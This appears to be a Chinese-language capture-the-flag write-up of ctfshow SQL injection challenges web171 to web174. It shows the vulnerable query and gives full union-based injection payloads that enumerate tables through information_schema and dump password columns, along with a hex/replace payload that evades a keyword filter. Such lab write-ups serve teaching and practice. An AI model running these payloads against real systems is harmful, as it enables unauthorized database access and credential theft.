ctfshow web171-174

Web 171

打开发现以下内容。

ctfshow web171-174_第1张图片

看到了一个查询语句,于是认真看了一下。

//拼接sql语句查找指定ID用户

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

直接传入1,代码会变成

select username,password from user where username !='flag' and id ='1' limit 1;

ctfshow web171-174_第2张图片

这样可以查询到,但当我输入1‘时就不行了。

ctfshow web171-174_第3张图片

仔细看当我输入的是1’时,语句会变成

select username,password from user where username !='flag' and id ='1'' limit 1;

1后边会变成两个单引号,语句不规范,显示错误。

我们在后面加个注释符,即变成id=1'--+(+相当于空格的作用)

这时语句会变成

select username,password from user where username !='flag' and id ='1'

后边的一部分会被注释掉。

之后就可以接入我们需要的语句。

利用union语句来连接查询一下数据库的名字。

1' union select database(),2,3 --+

ctfshow web171-174_第4张图片

在前边加一个负号来把查询id回显的数据给置空。

ctfshow web171-174_第5张图片

然后查询表名,可以用group_concat函数,它可以把相同行的数据都组合起来。

-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+

roup_concat函数的功能.   将group by产生的同一个分组中的值连接起来,返回一个字符串结果。.   group_concat函数首先根据group by指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。

ctfshow web171-174_第6张图片

查询到表名,然后查询列名。

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

ctfshow web171-174_第7张图片

一个一个尝试查询,最后在password找到flag。

-1' union select password,2,3 from ctfshow_user --+

ctfshow web171-174_第8张图片

Web 172

利用order by查询有几列。

当输入到

1' order by 2 --+

ctfshow web171-174_第9张图片

之后就发现不成功,所以有两列

然后查询数据库名

1' union select database(),1 --+

ctfshow web171-174_第10张图片

再查询表名:

-1' union select group_concat(table_name),1 from information_schema.tables where table_schema="ctfshow_web" --+

ctfshow web171-174_第11张图片

有两个表,一个一个试一下。

第一个

-1' union select password,1 from ctfshow_user --+

ctfshow web171-174_第12张图片

第二个

-1' union select password,1 from ctfshow_user2 --+

ctfshow web171-174_第13张图片

Web 173

多了一个正则绕过
//检查结果是否有flag

    if(!preg_match('/flag/i', json_encode($ret))){

      $ret['msg']='查询成功';

}
但好像没什莫关系。
先查有几列。
1' order by 3 --+
之后就不会再显示所以有三列。
然后就和上两题一样。
最后发现表名到了一个ctfshow_user3
 
  
然后直接查询了
-1' union select password,1,2 from ctfshow_user3 --+
 
  

Web 174
刚进入发现和173一摸一样,有点意外,试着写了一下发现我进错了。
之后又点了一下才出来了。
 
  
 
  

这次过滤多了一点。

看了一位师傅不一样的解法。

这位师傅用了替换的思路将1-0数字用q~p替换,但本来的flag中一定也会有一些小写字母,这样的话就没办法分辨那个是原本的字母哪个是替换出来的。

所以为了避免这个问题,将password首先hex一下,因为hex()函数的返回值中字母都是大写的,所以我们返回结果中的小写字母就是原来的数字,而大写字母就是原本的字符。

这个虽然说比较麻烦,但也是一种很好的解题思路。

Payload:

1' union select 'q',(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+

到最后将小写字母替换然后16进制转换一下。

看了许多解法一般都是利用python脚本写出来的。

你可能感兴趣的:(ctfshow,sql)